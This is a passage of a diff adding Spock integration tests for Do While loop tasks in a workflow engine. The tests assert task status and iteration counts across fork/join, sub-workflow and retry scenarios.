+ tasks[3].taskType == 'JSON_JQ_TRANSFORM' + tasks[3].status == Task.Status.COMPLETED + tasks[3].iteration == 1 + tasks[4].taskType == 'LAMBDA' + tasks[4].status == Task.Status.COMPLETED + tasks[4].iteration == 2 + tasks[5].taskType == 'JSON_JQ_TRANSFORM' + tasks[5].status == Task.Status.COMPLETED + tasks[5].iteration == 2 + tasks[6].taskType == 'JSON_JQ_TRANSFORM' + tasks[6].status == Task.Status.COMPLETED + tasks[6].iteration == 2 + tasks[7].taskType == 'integration_task_1' + tasks[7].status == Task.Status.SCHEDULED + tasks[7].iteration == 0 // outside the loop + } + + when: "Polling and completing first task" + Tuple polledAndCompletedTask1 = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'integration.test.worker') + + then: "Verify that the task was polled and acknowledged and workflow is in running state" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask1) + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 8 + tasks[7].taskType == 'integration_task_1' + tasks[7].status == Task.Status.COMPLETED + tasks[7].iteration == 0 // outside the loop + } + } + + def "Test workflow with a single iteration Do While task"() { + given: "Number of iterations of the loop is set to 1" + def workflowInput = new HashMap() + workflowInput['loop'] = 1 + + when: "A do_while workflow is started" + def workflowInstanceId = startWorkflow("Do_While_Workflow", 1, "looptest", workflowInput, null) + + then: "Verify that the workflow has started" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'DO_WHILE' + tasks[0].status == Task.Status.IN_PROGRESS + tasks[1].taskType == 'integration_task_0' + tasks[1].status == Task.Status.SCHEDULED + } + + when: "Polling and completing first task" + Tuple polledAndCompletedTask0 = workflowTestUtil.pollAndCompleteTask('integration_task_0', 'integration.test.worker') + + then: "Verify that the task was polled and acknowledged and workflow is in running state" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask0) + verifyTaskIteration(polledAndCompletedTask0[0] as Task, 1) + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 6 + tasks[0].taskType == 'DO_WHILE' + tasks[0].status == Task.Status.IN_PROGRESS + tasks[1].taskType == 'integration_task_0' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'FORK' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == 'integration_task_1' + tasks[3].status == Task.Status.SCHEDULED + tasks[4].taskType == 'integration_task_2' + tasks[4].status == Task.Status.SCHEDULED + tasks[5].taskType == 'JOIN' + tasks[5].status == Task.Status.IN_PROGRESS + } + + when: "Polling and completing second task" + def joinId = workflowExecutionService.getExecutionStatus(workflowInstanceId, true).getTaskByRefName("join__1").taskId + Tuple polledAndCompletedTask1 = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'integration.test.worker') + + then: "Verify that the task was polled and acknowledged and workflow is in running state" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask1) + verifyTaskIteration(polledAndCompletedTask1[0] as Task, 1) + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 6 + tasks[0].taskType == 'DO_WHILE' + tasks[0].status == Task.Status.IN_PROGRESS + tasks[1].taskType == 'integration_task_0' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'FORK' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == 'integration_task_1' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == 'integration_task_2' + tasks[4].status == Task.Status.SCHEDULED + tasks[5].taskType == 'JOIN' + tasks[5].status == Task.Status.IN_PROGRESS + } + + when: "Polling and completing third task" + Tuple polledAndCompletedTask2 = workflowTestUtil.pollAndCompleteTask('integration_task_2', 'integration.test.worker') + + and: "JOIN task is executed" + asyncSystemTaskExecutor.execute(joinTask, joinId) + + then: "Verify that the task was polled and acknowledged and workflow is in completed state" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask2) + verifyTaskIteration(polledAndCompletedTask2[0] as Task, 1) + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 6 + tasks[0].taskType == 'DO_WHILE' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_0' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'FORK' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == 'integration_task_1' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == 'integration_task_2' + tasks[4].status == Task.Status.COMPLETED + tasks[5].taskType == 'JOIN' + tasks[5].status == Task.Status.COMPLETED + } + } + + def "Test workflow with a single iteration Do While task with Sub workflow"() { + given: "Number of iterations of the loop is set to 1" + def workflowInput = new HashMap() + workflowInput['loop'] = 1 + + when: "A do_while workflow is started" + def workflowInstanceId = startWorkflow("Do_While_Sub_Workflow", 1, "looptest", workflowInput, null) + + then: "Verify that the workflow has started" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'DO_WHILE' + tasks[0].status == Task.Status.IN_PROGRESS + tasks[1].taskType == 'integration_task_0' + tasks[1].status == Task.Status.SCHEDULED + } + + when: "Polling and completing first task" + Tuple polledAndCompletedTask0 = workflowTestUtil.pollAndCompleteTask('integration_task_0', 'integration.test.worker') + + then: "Verify that the task was polled and acknowledged and workflow is in running state" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask0) + verifyTaskIteration(polledAndCompletedTask0[0] as Task, 1) + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 6 + tasks[0].taskType == 'DO_WHILE' + tasks[0].status == Task.Status.IN_PROGRESS + tasks[1].taskType == 'integration_task_0' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'FORK' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == 'integration_task_1' + tasks[3].status == Task.Status.SCHEDULED + tasks[4].taskType == 'integration_task_2' + tasks[4].status == Task.Status.SCHEDULED + tasks[5].taskType == 'JOIN' + tasks[5].status == Task.Status.IN_PROGRESS + } + + when: "Polling and completing second task" + def joinId = workflowExecutionService.getExecutionStatus(workflowInstanceId, true).getTaskByRefName("join__1").taskId + Tuple polledAndCompletedTask1 = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'integration.test.worker') + + then: "Verify that the task was polled and acknowledged and workflow is in running state" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask1) + verifyTaskIteration(polledAndCompletedTask1[0] as Task, 1) + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 6 + tasks[0].taskType == 'DO_WHILE' + tasks[0].status == Task.Status.IN_PROGRESS + tasks[1].taskType == 'integration_task_0' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'FORK' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == 'integration_task_1' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == 'integration_task_2' + tasks[4].status == Task.Status.SCHEDULED + tasks[5].taskType == 'JOIN' + tasks[5].status == Task.Status.IN_PROGRESS + } + + when: "Polling and completing third task" + Tuple polledAndCompletedTask2 = workflowTestUtil.pollAndCompleteTask('integration_task_2', 'integration.test.worker') + + and: "JOIN task is executed" + asyncSystemTaskExecutor.execute(joinTask, joinId) + + and: "the sub workflow system task is executed" + def doWhileSubWfTask = workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + .tasks.find { it.taskType == TASK_TYPE_SUB_WORKFLOW && it.status == Task.Status.SCHEDULED } + if (doWhileSubWfTask) { + asyncSystemTaskExecutor.execute(subWorkflowTask, doWhileSubWfTask.taskId) + } + + then: "Verify that the task was polled and acknowledged and workflow is in completed state" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask2) + verifyTaskIteration(polledAndCompletedTask2[0] as Task, 1) + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 7 + tasks[0].taskType == 'DO_WHILE' + tasks[0].status == Task.Status.IN_PROGRESS + tasks[1].taskType == 'integration_task_0' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'FORK' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == 'integration_task_1' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == 'integration_task_2' + tasks[4].status == Task.Status.COMPLETED + tasks[5].taskType == 'JOIN' + tasks[5].status == Task.Status.COMPLETED + tasks[6].taskType == 'SUB_WORKFLOW' + tasks[6].status == Task.Status.IN_PROGRESS + } + + then: "verify that the sub workflow task is in a IN PROGRESS state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 7 + tasks[0].taskType == 'DO_WHILE' + tasks[0].status == Task.Status.IN_PROGRESS + tasks[1].taskType == 'integration_task_0' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'FORK' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == 'integration_task_1' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == 'integration_task_2' + tasks[4].status == Task.Status.COMPLETED + tasks[5].taskType == 'JOIN' + tasks[5].status == Task.Status.COMPLETED + tasks[6].taskType == 'SUB_WORKFLOW' + tasks[6].status == Task.Status.IN_PROGRESS + } + + when: "sub workflow is retrieved" + def workflow = workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + def subWorkflowInstanceId = workflow.getTaskByRefName('st1__1').subWorkflowId + sweep(subWorkflowInstanceId) + + then: "verify that the sub workflow is in a RUNNING state" + with(workflowExecutionService.getExecutionStatus(subWorkflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'simple_task_in_sub_wf' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "the 'simple_task_in_sub_wf' belonging to the sub workflow is polled and completed" + def polledAndCompletedSubWorkflowTask = workflowTestUtil.pollAndCompleteTask('simple_task_in_sub_wf', 'subworkflow.task.worker') + + then: "verify that the task was polled and acknowledged" + workflowTestUtil.verifyPolledAndAcknowledgedTask(polledAndCompletedSubWorkflowTask) + + and: "verify that the sub workflow is in COMPLETED state" + with(workflowExecutionService.getExecutionStatus(subWorkflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 1 + tasks[0].status == Task.Status.COMPLETED + tasks[0].taskType == 'simple_task_in_sub_wf' + } + + and: "the parent workflow is swept" + sweep(workflowInstanceId) + + and: "verify that the workflow is in COMPLETED state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 7 + tasks[0].taskType == 'DO_WHILE' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_0' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'FORK' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == 'integration_task_1' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == 'integration_task_2' + tasks[4].status == Task.Status.COMPLETED + tasks[5].taskType == 'JOIN' + tasks[5].status == Task.Status.COMPLETED + tasks[6].taskType == 'SUB_WORKFLOW' + tasks[6].status == Task.Status.COMPLETED + } + } + + def "Test workflow with multiple Do While tasks with multiple iterations"() { + given: "Number of iterations of the first loop is set to 2 and second loop is set to 1" + def workflowInput = new HashMap() + workflowInput['loop'] = 2 + workflowInput['loop2'] = 1 + + when: "A workflow with multiple do while tasks with multiple iterations is started" + def workflowInstanceId = startWorkflow("Do_While_Multiple", 1, "looptest", workflowInput, null) + + then: "Verify that the workflow has started" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'DO_WHILE' + tasks[0].status == Task.Status.IN_PROGRESS + tasks[1].taskType == 'integration_task_0' + tasks[1].status == Task.Status.SCHEDULED + } + + when: "Polling and completing first task" + Tuple polledAndCompletedTask0 = workflowTestUtil.pollAndCompleteTask('integration_task_0', 'integration.test.worker') + + then: "Verify that the task was polled and acknowledged and workflow is in running state" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask0) + verifyTaskIteration(polledAndCompletedTask0[0] as Task, 1) + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 6 + tasks[0].taskType == 'DO_WHILE' + tasks[0].status == Task.Status.IN_PROGRESS + tasks[1].taskType == 'integration_task_0' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'FORK' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == 'integration_task_1' + tasks[3].status == Task.Status.SCHEDULED + tasks[4].taskType == 'integration_task_2' + tasks[4].status == Task.Status.SCHEDULED + tasks[5].taskType == 'JOIN' + tasks[5].status == Task.Status.IN_PROGRESS + } + + when: "Polling and completing second task" + def join1Id = workflowExecutionService.getExecutionStatus(workflowInstanceId, true).getTaskByRefName("join__1").taskId + Tuple polledAndCompletedTask1 = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'integration.test.worker') + + then: "Verify that the task was polled and acknowledged and workflow is in running state" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask1) + verifyTaskIteration(polledAndCompletedTask1[0] as Task, 1) + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 6 + tasks[0].taskType == 'DO_WHILE' + tasks[0].status == Task.Status.IN_PROGRESS + tasks[1].taskType == 'integration_task_0' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'FORK' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == 'integration_task_1' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == 'integration_task_2' + tasks[4].status == Task.Status.SCHEDULED + tasks[5].taskType == 'JOIN' + tasks[5].status == Task.Status.IN_PROGRESS + } + + when: "Polling and completing third task" + Tuple polledAndCompletedTask2 = workflowTestUtil.pollAndCompleteTask('integration_task_2', 'integration.test.worker') + + and: "JOIN task is executed" + asyncSystemTaskExecutor.execute(joinTask, join1Id) + + then: "Verify that the task was polled and acknowledged and workflow is in running state" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask2) + verifyTaskIteration(polledAndCompletedTask2[0] as Task, 1) + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 7 + tasks[0].taskType == 'DO_WHILE' + tasks[0].status == Task.Status.IN_PROGRESS + tasks[1].taskType == 'integration_task_0' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'FORK' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == 'integration_task_1' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == 'integration_task_2' + tasks[4].status == Task.Status.COMPLETED + tasks[5].taskType == 'JOIN' + tasks[5].status == Task.Status.COMPLETED + tasks[6].taskType == 'integration_task_0' + tasks[6].status == Task.Status.SCHEDULED + } + + when: "Polling and completing second iteration of first task" + Tuple polledAndCompletedSecondIterationTask0 = workflowTestUtil.pollAndCompleteTask('integration_task_0', 'integration.test.worker') + + then: "Verify that the task was polled and acknowledged and workflow is in running state" + verifyPolledAndAcknowledgedTask(polledAndCompletedSecondIterationTask0, [:]) + verifyTaskIteration(polledAndCompletedSecondIterationTask0[0] as Task, 2) + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 11 + tasks[0].taskType == 'DO_WHILE' + tasks[0].status == Task.Status.IN_PROGRESS + tasks[1].taskType == 'integration_task_0' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'FORK' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == 'integration_task_1' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == 'integration_task_2' + tasks[4].status == Task.Status.COMPLETED + tasks[5].taskType == 'JOIN' + tasks[5].status == Task.Status.COMPLETED + tasks[6].taskType == 'integration_task_0' + tasks[6].status == Task.Status.COMPLETED + tasks[7].taskType == 'FORK' + tasks[7].status == Task.Status.COMPLETED + tasks[8].taskType == 'integration_task_1' + tasks[8].status == Task.Status.SCHEDULED + tasks[9].taskType == 'integration_task_2' + tasks[9].status == Task.Status.SCHEDULED + tasks[10].taskType == 'JOIN' + tasks[10].status == Task.Status.IN_PROGRESS + } + + when: "Polling and completing second iteration of second task" + def join2Id = workflowExecutionService.getExecutionStatus(workflowInstanceId, true).getTaskByRefName("join__2").taskId + Tuple polledAndCompletedSecondIterationTask1 = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'integration.test.worker') + + then: "Verify that the task was polled and acknowledged and workflow is in running state" + verifyPolledAndAcknowledgedTask(polledAndCompletedSecondIterationTask1) + verifyTaskIteration(polledAndCompletedSecondIterationTask1[0] as Task, 2) + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 11 + tasks[0].taskType == 'DO_WHILE' + tasks[0].status == Task.Status.IN_PROGRESS + tasks[1].taskType == 'integration_task_0' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'FORK' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == 'integration_task_1' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == 'integration_task_2' + tasks[4].status == Task.Status.COMPLETED + tasks[5].taskType == 'JOIN' + tasks[5].status == Task.Status.COMPLETED + tasks[6].taskType == 'integration_task_0' + tasks[6].status == Task.Status.COMPLETED + tasks[7].taskType == 'FORK' + tasks[7].status == Task.Status.COMPLETED + tasks[8].taskType == 'integration_task_1' + tasks[8].status == Task.Status.COMPLETED + tasks[9].taskType == 'integration_task_2' + tasks[9].status == Task.Status.SCHEDULED + tasks[10].taskType == 'JOIN' + tasks[10].status == Task.Status.IN_PROGRESS + } + + when: "Polling and completing second iteration of third task" + Tuple polledAndCompletedSecondIterationTask2 = workflowTestUtil.pollAndCompleteTask('integration_task_2', 'integration.test.worker') + + and: "JOIN task is executed" + asyncSystemTaskExecutor.execute(joinTask, join2Id) + + then: "Verify that the task was polled and acknowledged and workflow is in running state" + verifyPolledAndAcknowledgedTask(polledAndCompletedSecondIterationTask2) + verifyTaskIteration(polledAndCompletedSecondIterationTask2[0] as Task, 2) + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 13 + tasks[0].taskType == 'DO_WHILE' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_0' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'FORK' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == 'integration_task_1' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == 'integration_task_2' + tasks[4].status == Task.Status.COMPLETED + tasks[5].taskType == 'JOIN' + tasks[5].status == Task.Status.COMPLETED + tasks[6].taskType == 'integration_task_0' + tasks[6].status == Task.Status.COMPLETED + tasks[7].taskType == 'FORK' + tasks[7].status == Task.Status.COMPLETED + tasks[8].taskType == 'integration_task_1' + tasks[8].status == Task.Status.COMPLETED + tasks[9].taskType == 'integration_task_2' + tasks[9].status == Task.Status.COMPLETED + tasks[10].taskType == 'JOIN' + tasks[10].status == Task.Status.COMPLETED + tasks[11].taskType == 'DO_WHILE' + tasks[11].status == Task.Status.IN_PROGRESS + tasks[12].taskType == 'integration_task_3' + tasks[12].status == Task.Status.SCHEDULED + } + + when: "Polling and completing task within the second do while" + Tuple polledAndCompletedIntegrationTask3 = workflowTestUtil.pollAndCompleteTask('integration_task_3', 'integration.test.worker') + + then: "Verify that the task was polled and acknowledged and workflow is in completed state" + verifyPolledAndAcknowledgedTask(polledAndCompletedIntegrationTask3) + verifyTaskIteration(polledAndCompletedIntegrationTask3[0] as Task, 1) + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 13 + tasks[0].taskType == 'DO_WHILE' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_0' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'FORK' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == 'integration_task_1' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == 'integration_task_2' + tasks[4].status == Task.Status.COMPLETED + tasks[5].taskType == 'JOIN' + tasks[5].status == Task.Status.COMPLETED + tasks[6].taskType == 'integration_task_0' + tasks[6].status == Task.Status.COMPLETED + tasks[7].taskType == 'FORK' + tasks[7].status == Task.Status.COMPLETED + tasks[8].taskType == 'integration_task_1' + tasks[8].status == Task.Status.COMPLETED + tasks[9].taskType == 'integration_task_2' + tasks[9].status == Task.Status.COMPLETED + tasks[10].taskType == 'JOIN' + tasks[10].status == Task.Status.COMPLETED + tasks[11].taskType == 'DO_WHILE' + tasks[11].status == Task.Status.COMPLETED + tasks[12].taskType == 'integration_task_3' + tasks[12].status == Task.Status.COMPLETED + } + } + + def "Test retrying a failed do while workflow"() { + setup: "Update the task definition with no retries" + def taskName = 'integration_task_0' + def persistedTaskDefinition = workflowTestUtil.getPersistedTaskDefinition(taskName).get() + def modifiedTaskDefinition = new TaskDef(persistedTaskDefinition.name, persistedTaskDefinition.description, + persistedTaskDefinition.ownerEmail, 0, persistedTaskDefinition.timeoutSeconds, + persistedTaskDefinition.responseTimeoutSeconds) + metadataService.updateTaskDef(modifiedTaskDefinition) + + when: "A do while workflow is started" + def workflowInput = new HashMap() + workflowInput['loop'] = 1 + def workflowInstanceId = startWorkflow("Do_While_Workflow", 1, "looptest", workflowInput, null) + + then: "Verify that the workflow has started" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'DO_WHILE' + tasks[0].status == Task.Status.IN_PROGRESS + tasks[1].taskType == 'integration_task_0' + tasks[1].status == Task.Status.SCHEDULED + } + + when: "Polling and failing first task" + Tuple polledAndFailedTask0 = workflowTestUtil.pollAndFailTask('integration_task_0', 'integration.test.worker', "induced..failure") + + then: "Verify that the task was polled and acknowledged and workflow is in failed state" + verifyPolledAndAcknowledgedTask(polledAndFailedTask0) + verifyTaskIteration(polledAndFailedTask0[0] as Task, 1) + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.FAILED + tasks.size() == 2 + tasks[0].taskType == 'DO_WHILE' + tasks[0].status == Task.Status.CANCELED + tasks[1].taskType == 'integration_task_0' + tasks[1].status == Task.Status.FAILED + } + + when: "The workflow is retried" + workflowExecutor.retry(workflowInstanceId, false) + + then: "Verify that workflow is running" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 3 + tasks[0].taskType == 'DO_WHILE' + tasks[0].status == Task.Status.IN_PROGRESS + tasks[1].taskType == 'integration_task_0' + tasks[1].status == Task.Status.FAILED + tasks[2].taskType == 'integration_task_0' + tasks[2].status == Task.Status.SCHEDULED + } + + when: "Polling and completing first task" + Tuple polledAndCompletedTask0 = workflowTestUtil.pollAndCompleteTask('integration_task_0', 'integration.test.worker') + + then: "Verify that the task was polled and acknowledged and workflow is in running state" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask0) + verifyTaskIteration(polledAndCompletedTask0[0] as Task, 1) + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 7 + tasks[0].taskType == 'DO_WHILE' + tasks[0].status == Task.Status.IN_PROGRESS + tasks[1].taskType == 'integration_task_0' + tasks[1].status == Task.Status.FAILED + tasks[2].taskType == 'integration_task_0' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == 'FORK' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == 'integration_task_1' + tasks[4].status == Task.Status.SCHEDULED + tasks[5].taskType == 'integration_task_2' + tasks[5].status == Task.Status.SCHEDULED + tasks[6].taskType == 'JOIN' + tasks[6].status == Task.Status.IN_PROGRESS + } + + when: "Polling and completing second task" + def joinId = workflowExecutionService.getExecutionStatus(workflowInstanceId, true).getTaskByRefName("join__1").taskId + Tuple polledAndCompletedTask1 = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'integration.test.worker') + + then: "Verify that the task was polled and acknowledged and workflow is in running state" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask1) + verifyTaskIteration(polledAndCompletedTask1[0] as Task, 1) + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 7 + tasks[0].taskType == 'DO_WHILE' + tasks[0].status == Task.Status.IN_PROGRESS + tasks[1].taskType == 'integration_task_0' + tasks[1].status == Task.Status.FAILED + tasks[2].taskType == 'integration_task_0' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == 'FORK' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == 'integration_task_1' + tasks[4].status == Task.Status.COMPLETED + tasks[5].taskType == 'integration_task_2' + tasks[5].status == Task.Status.SCHEDULED + tasks[6].taskType == 'JOIN' + tasks[6].status == Task.Status.IN_PROGRESS + } + + when: "Polling and completing third task" + Tuple polledAndCompletedTask2 = workflowTestUtil.pollAndCompleteTask('integration_task_2', 'integration.test.worker') + + and: "JOIN task is executed" + asyncSystemTaskExecutor.execute(joinTask, joinId) + + then: "Verify that the task was polled and acknowledged and workflow is in completed state" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask2) + verifyTaskIteration(polledAndCompletedTask2[0] as Task, 1) + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 7 + tasks[0].taskType == 'DO_WHILE' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_0' + tasks[1].status == Task.Status.FAILED + tasks[2].taskType == 'integration_task_0' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == 'FORK' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == 'integration_task_1' + tasks[4].status == Task.Status.COMPLETED + tasks[5].taskType == 'integration_task_2' + tasks[5].status == Task.Status.COMPLETED + tasks[6].taskType == 'JOIN' + tasks[6].status == Task.Status.COMPLETED + } + + cleanup: "Reset the task definition" + metadataService.updateTaskDef(persistedTaskDefinition) + } + + def "Test auto retrying a failed do while workflow"() { + setup: "Update the task definition with retryCount to 1 and retryDelaySeconds to 0" + def taskName = 'integration_task_0' + def persistedTaskDefinition = workflowTestUtil.getPersistedTaskDefinition(taskName).get() + def modifiedTaskDefinition = new TaskDef(persistedTaskDefinition.name, persistedTaskDefinition.description, + persistedTaskDefinition.ownerEmail, 1, persistedTaskDefinition.timeoutSeconds, + persistedTaskDefinition.responseTimeoutSeconds) + modifiedTaskDefinition.setRetryDelaySeconds(0) + metadataService.updateTaskDef(modifiedTaskDefinition) + + when: "A do while workflow is started" + def workflowInput = new HashMap() + workflowInput['loop'] = 1 + def workflowInstanceId = startWorkflow("Do_While_Workflow", 1, "looptest", workflowInput, null) + + then: "Verify that the workflow has started" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'DO_WHILE' + tasks[0].status == Task.Status.IN_PROGRESS + tasks[1].taskType == 'integration_task_0' + tasks[1].status == Task.Status.SCHEDULED + } + + when: "Polling and failing first task" + Tuple polledAndFailedTask0 = workflowTestUtil.pollAndFailTask('integration_task_0', 'integration.test.worker', "induced..failure") + + then: "Verify that the task was polled and acknowledged and retried task was generated and workflow is in running state" + verifyPolledAndAcknowledgedTask(polledAndFailedTask0) + verifyTaskIteration(polledAndFailedTask0[0] as Task, 1) + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 3 + tasks[0].taskType == 'DO_WHILE' + tasks[0].status == Task.Status.IN_PROGRESS + tasks[1].taskType == 'integration_task_0' + tasks[1].status == Task.Status.FAILED + tasks[1].retried + tasks[2].taskType == 'integration_task_0' + tasks[2].status == Task.Status.SCHEDULED + tasks[2].retryCount == 1 + tasks[2].retriedTaskId == tasks[1].taskId + } + + when: "Polling and completing first task" + Tuple polledAndCompletedTask0 = workflowTestUtil.pollAndCompleteTask('integration_task_0', 'integration.test.worker') + + then: "Verify that the task was polled and acknowledged and workflow is in running state" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask0) + verifyTaskIteration(polledAndCompletedTask0[0] as Task, 1) + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 7 + tasks[0].taskType == 'DO_WHILE' + tasks[0].status == Task.Status.IN_PROGRESS + tasks[1].taskType == 'integration_task_0' + tasks[1].status == Task.Status.FAILED + tasks[2].taskType == 'integration_task_0' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == 'FORK' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == 'integration_task_1' + tasks[4].status == Task.Status.SCHEDULED + tasks[5].taskType == 'integration_task_2' + tasks[5].status == Task.Status.SCHEDULED + tasks[6].taskType == 'JOIN' + tasks[6].status == 